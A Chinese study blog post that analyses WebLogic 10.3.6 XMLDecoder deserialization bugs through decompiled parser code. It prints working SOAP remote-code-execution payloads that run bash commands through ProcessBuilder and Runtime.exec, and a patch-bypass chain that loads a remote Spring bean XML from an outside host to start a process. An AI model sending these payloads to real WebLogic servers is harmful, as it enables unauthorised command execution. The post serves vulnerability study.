weblogic 10.3.6 XMLDecoder 反序列化漏洞学习

文章整体学习于 奇安信 WebLogic 安全研究报告

sax 解析 xml 基础

java 在使用 sax 处理 xml 时,采用事件进行处理,那我们我们需要关注有哪些事件。
事件源有 4 种:ContentHandler,DTDHandler,ErrorHandler,以及 EntityResolver。
处理内容的事件源是 ContentHandler,看一下他的事件(截图来源):
396790baee89469ea39fea0cf604cfd02
中文文档
引用一张图(来源):
396790baee89469ea39fea0cf604cfd01
根据头部文章的说明及其调试,xml 反序列化流程会先进入 DocumentHandler,对各类事件源进行处理,同时在处理的过程中再分发到相关的标签 ElementHandler。看一下 DocumentHandler 的处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//根据标签添加各种标签ElementHandler。
public DocumentHandler() {
this.setElementHandler("java", JavaElementHandler.class);
this.setElementHandler("null", NullElementHandler.class);
this.setElementHandler("array", ArrayElementHandler.class);
......
}
//开始解析各种标签
public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
//保存上一级ElementHandler对象,通过setParent保存在this.parent中
ElementHandler var5 = this.handler;
try {
//根据标签名,通过getElementHandler获取保存的各类ElementHandler。
this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();
this.handler.setOwner(this);
this.handler.setParent(var5);
} catch (Exception var10) {
throw new SAXException(var10);
}
//遍历各类属性,通过addAttribute进行保存设置。
for(int var6 = 0; var6 < var4.getLength(); ++var6) {
try {
//获取属性名字和属性值。
String var7 = var4.getQName(var6);
String var8 = var4.getValue(var6);
this.handler.addAttribute(var7, var8);
} catch (RuntimeException var9) {
this.handleException(var9);
}
}
//调用ElementHandler的startElement。
this.handler.startElement();
}
//结束标签解析
public void endElement(String var1, String var2, String var3) {
try {
//直接调用ElementHandler的endElement
this.handler.endElement();
} catch (RuntimeException var8) {
this.handleException(var8);
} finally {
this.handler = this.handler.getParent();
}
}

object 标签和 void 标签基本都是 ObjectElementHandler 处理的,ObjectElementHandler 继承于 NewElementHandler,他的特点是可以保存 argument 和 type 值,argument 为保存的参数,type 为当前的对象。分析一下 ObjectElemtHandler 的 getValueObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
if (this.field != null) {
return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
} else if (this.idref != null) {
return ValueObjectImpl.create(this.getVariable(this.idref));
} else {
//获取上下文环境,如果当前对象设置了type值,则上下文环境为type设置的对象,如果没有设置,
//则取上一层标签的值对象作为上下文环境,及调用上一层的getValueObject()
Object var3 = this.getContextBean();
String var4;
if (this.index != null) {
var4 = var2.length == 2 ? "set" : "get";
} else if (this.property != null) {
var4 = var2.length == 1 ? "set" : "get";
if (0 < this.property.length()) {
var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
}
} else {
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
}
//expression是一个反射封装,var3为object,var4为method,var2为arguments。
Expression var5 = new Expression(var3, var4, var2);
return ValueObjectImpl.create(var5.getValue());
}
}

再看一下 ElementHandler 的 endElement 方法,只要处理标签没有重写 endElement,都会默认调用 ElementHandler 的这个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void endElement() {
//获取当前标签的值。
ValueObject var1 = this.getValueObject();
if (!var1.isVoid()) {
//设置为环境变量值???
if (this.id != null) {
this.owner.setVariable(this.id, var1.getValue());
}
//是否作为参数值进行传递。
if (this.isArgument()) {
//说明如果可以作为参数进行传递且存在上一层标签,则上一层必须支持参数传递。
if (this.parent != null) {
this.parent.addArgument(var1.getValue());
} else {
this.owner.addObject(var1.getValue());
}
}
}
}

POC1 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//入口:/wls-wsat/CoordinatorPortType
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping l0ca1.0hi1213pu5qcednmhhch7a8x5obez3.burpcollaborator.net</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
//来源:https://www.03sec.com/3211.shtml
//<java>标签可以去除

这里创建 ProcessBuilder 是通过<object>标签加上属性 class 去创建的。ProcessBuilder 的 common 参数是通过 array 标签去传递的,调用 start 方法是通过<void method="start">去调用的。<array>标签会首先通过 Array.newInstance(“java.lang.String”,3)创建 array,然后通过 void 配合 index 值即<void index="">,在每次 void 标签结束时,获取 array 标签的值,即创建的 Array,然后调用 set 方法进行添加值。在 array 标签结束后,将最终的 array 通过参数设置,设置给 object 标签对象的 argument 属性中,最后在<void method="start">的时候,进行反射调用。
根据分析,poc 可以进行一些小改动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<object class="java.lang.ProcessBuilder">
可以替换为
<void class="java.lang.ProcessBuilder">
或者
<new class="java.lang.ProcessBuilder">
这三个都可以返回一个具体对象 而<class>标签只能返回一个Class对象

<void method="start"/>
可以替换为
<method name="start"/>

应该是有很多变种,比如利用静态方法获取Object
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<method name="getRuntime" class="java.lang.Runtime">
<method name="exec">
<string>ping ccc.d4ihrpfqecs5p7tzf88c21i0qrwhk6.burpcollaborator.net</string>
</method>
</method>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body />
</soapenv:Envelope>

POC2 分析

这个是跟据这篇文章做的笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//入口:/_async/AsyncResponseService
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:balisong="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>test</wsa:Action>
<wsa:RelatesTo>test</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<class>xxxxxx<void>
</void>
</class>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<balisong:onAsyncDelivery>calculator</balisong:onAsyncDelivery>
</soapenv:Body>
</soapenv:Envelope>
//来源 http://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi

根据文章补丁截图,不允许使用 object、new、method 标签,void 的标签只允许 index 属性出现。结合上面的 poc1,是没有办法直接反射调用类方法类了。
因为存在 class 标签,可以返回一个 Class 对象,同时 void 还可以使用,所以是可以通过反射完成初始化类的。完成过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
final class ClassElementHandler extends StringElementHandler {
public Object getValue(String var1) {
return this.getOwner().findClass(var1);
}
}

//ObjectElementHandler
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
.....
} else {
Object var3 = this.getContextBean();
String var4;
...
} else {
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
}
//默认为new方法,Expression在封装中,将new转变为newInstance,完成class的初始化。无参通过Class.newInstance,
//有参通过Constructor.newInstance。
Expression var5 = new Expression(var3, var4, var2);
return ValueObjectImpl.create(var5.getValue());
}
}

//Expression
private Object invokeInternal() throws Exception {
...
//无参构造与有参构造
if (methodName.equals("new")) {
methodName = "newInstance";
}
if (methodName.equals("newInstance") && arguments.length != 0) {
if (target == Character.class && arguments.length == 1 &&
argClasses[0] == String.class) {
return new Character(((String)arguments[0]).charAt(0));
}
try {
m = ConstructorFinder.findConstructor((Class)target, argClasses);
}
catch (NoSuchMethodException exception) {
m = null;
}
}
....
try {
if (m instanceof Method) {
return MethodUtil.invoke((Method)m, target, arguments);
}
else {
return ((Constructor)m).newInstance(arguments);
}
}

既然还可以调用构造函数,那么就需要寻找构造函数中存在恶意操作的类。

POC2-UnitOfWorkChangeSet

这个是从参考文章中选出来学习的。

1
2
3
4
5
6
public UnitOfWorkChangeSet(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteIn = new ByteArrayInputStream(bytes);
ObjectInputStream objectIn = new ObjectInputStream(byteIn);
this.allChangeSets = (IdentityHashtable)objectIn.readObject();
this.deletedObjects = (IdentityHashtable)objectIn.readObject();
}

他的这个构造函数中,通过 bytes 完成了反序列化。所以利用 UnitOfWorkChangeSet 可以完成二次反序列化利用。后续就是利用链的问题。这里试了一下 URLDNS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package main

import (
"fmt"
"io/ioutil"
)

func main() {
var result string
filename := "/tmp/test.bin"
var fileContentsBytes []byte
var err error
if fileContentsBytes, err = ioutil.ReadFile(filename); err != nil {
fmt.Println(err)
return
}
result = fmt.Sprintf("<array class=\"byte\" length=\"%d\">", len(fileContentsBytes))
for i, b := range fileContentsBytes {
sIndex := fmt.Sprintf("<void index=\"%d\"><byte>%d</byte></void>", i, int8(b))
result = result + sIndex
}
result = result + "</array>"
fmt.Println(result)
}

这里 golang 的 byte 是 uint8,java 是 int8,需要进行转换。然后将得到的<array>标签内容添加到 POC2 中。

POC2-FileSystemXmlApplicationContext

参考来源同上。
为了大致搞清楚这个类的利用流程,需要了解 spring bean 的大致逻辑。在 github 上寻找了一个 spring bean 核心部分简化版,能让我大致搞明白基本流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:balisong="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>test</wsa:Action>
<wsa:RelatesTo>test</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<class>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext<void><string>http://172.16.170.1:8000/test.xml</string></void>
</class>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<balisong:onAsyncDelivery>calculator</balisong:onAsyncDelivery>
</soapenv:Body>
</soapenv:Envelope>

//test.xml
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value>ping l0ca1.ii4t2n0htwjpwqlo1e6s2jjuwl2cq1.burpcollaborator.net</value>
</list>
</constructor-arg>
</bean>
</beans>

这里利用 FileSystemXmlApplicationContext 的构造函数,传递了一个 http 地址。
通过调试知道在获取 Resource 的时候,FileSystemXmlApplication 会调用 DefaultResourceLoader.getResource

1
2
3
4
5
6
7
8
9
10
11
12
13
public Resource getResource(String location) {
Assert.notNull(location, "Location must not be null");
if (location.startsWith("classpath:")) {
return new ClassPathResource(location.substring("classpath:".length()), this.getClassLoader());
} else {
try {
URL url = new URL(location);
return new UrlResource(url);
} catch (MalformedURLException var3) {
return this.getResourceByPath(location);
}
}
}

location 如果是一个合法 URL,则直接返回一个 URLResource,后续会调用 getInputStream 去获取内容。因为没有一个判断标准,所以这里好像是没法用于 GET 型的 SSRF 的。如果是文件相对地址的话,会返回一个 FileResource。

1
2
3
4
5
6
7
8
9
10
//URLRESOURCE
public InputStream getInputStream() throws IOException {
URLConnection con = this.url.openConnection();
con.setUseCaches(false);
return con.getInputStream();
}
//FILERESOURCE
public InputStream getInputStream() throws IOException {
return new FileInputStream(this.file);
}

后面的工作就是解析 XML 文件返回 bean 对象。
因为 bean 提供一个 init-method 属性,他表现在 BeanDefinition 的 initMethodName 属性中,如果存在此属性,则会在导出对象时,通过反射进行调用。
虽然还有一个 destroyMethodName 属性,后续也可以利用来进行反射,但是需要 FileSystemXmlApplication 在执行 close 方法后才会进行反射调用,在构造函数中肯定是不会调用 close 的。